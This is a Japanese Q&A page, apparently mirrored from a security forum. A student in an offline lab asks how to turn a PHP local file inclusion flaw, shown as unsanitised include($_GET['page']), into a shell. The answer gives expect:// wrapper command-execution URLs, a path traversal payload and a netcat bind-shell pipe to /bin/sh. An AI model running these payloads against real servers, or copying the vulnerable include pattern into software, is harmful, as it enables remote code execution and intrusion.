web-dev-qa-db-ja.com

LFIまたはRFIエクスプロイトを使用してシェルを開く方法は?

私はサイバーセキュリティに関するいくつかのオンラインラボを完了し、「黄色」というWebサイトの基本的なIPにアクセスするために、kali linuxの仮想マシンを処理するタスクを与えられました。 IPを使用してアクセスします。VMには実際のインターネット接続がありません。

LFIエクスプロイトをテストすると、1つありますが、私が望んでいるようには動作しません。トークンはhttp://10.102.x.x/description.php?page=instinctで見つけることを目的としています。これを使用して、?page=部分を?page=../../var/www/token.txtに変更しました。

Enterキーを押してWebページを表示すると、「このトークンを取得するには、ボックスでシェルを取得し、/ var/www /にあるファイルを実行する必要があります」というメッセージが表示されました。

このWebページにシェルを取得する方法はわかりません。私のvmのディレクトリにファイルを配置してそれを実行しようとすると、「」のようなリンクが表示され、出力なしで次の警告が表示されます。

Warning: include(http://10.102.x.x/var/www/html/test.txt): failed to open stream: Connection refused in /var/www/html/description.php on line 5

Warning: include(): Failed opening 'http://10.102.x.x/var/www/html/test.txt' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/description.php on line 5

description.phpには、次のコードが含まれています。

<?php
$image_name = $_GET['page'];

// Get the description from another file
include($image_name);

?>

私は特にシェルを使用するように言われ、それを回避する方法はありません。シェルをアップロードしてディレクトリをそのように活用するにはどうすればよいですか?

1
Ismaeel Ali

PHPラッパーを使用すると、ここで説明するようにトリックを実行できます: https://offsec.vchur.dk/2019/04/16/local-file-inclusion-lfi/ =

これは前のリンクから引用した例です:

http://127.0.0.1/fileincl/example1.php?page=expect://ls

https://www.php.net/manual/en/expect.examplesからの(inline PHPを使用)別の例を次に示します-usage.php

$stream = fopen("expect://ssh root@remotehost uptime", "r");

そこに到着すると、RCEを実行して、独自の(バインド)シェルを作成できます。 :

# Payload on target
nc -lkp 2222 | /bin/sh
# Locally :
nc 10.102.x.x 2222

注:ペイロードはURLエンコードする必要があります(例:expect://nc%20-lk...

1
John Kravicz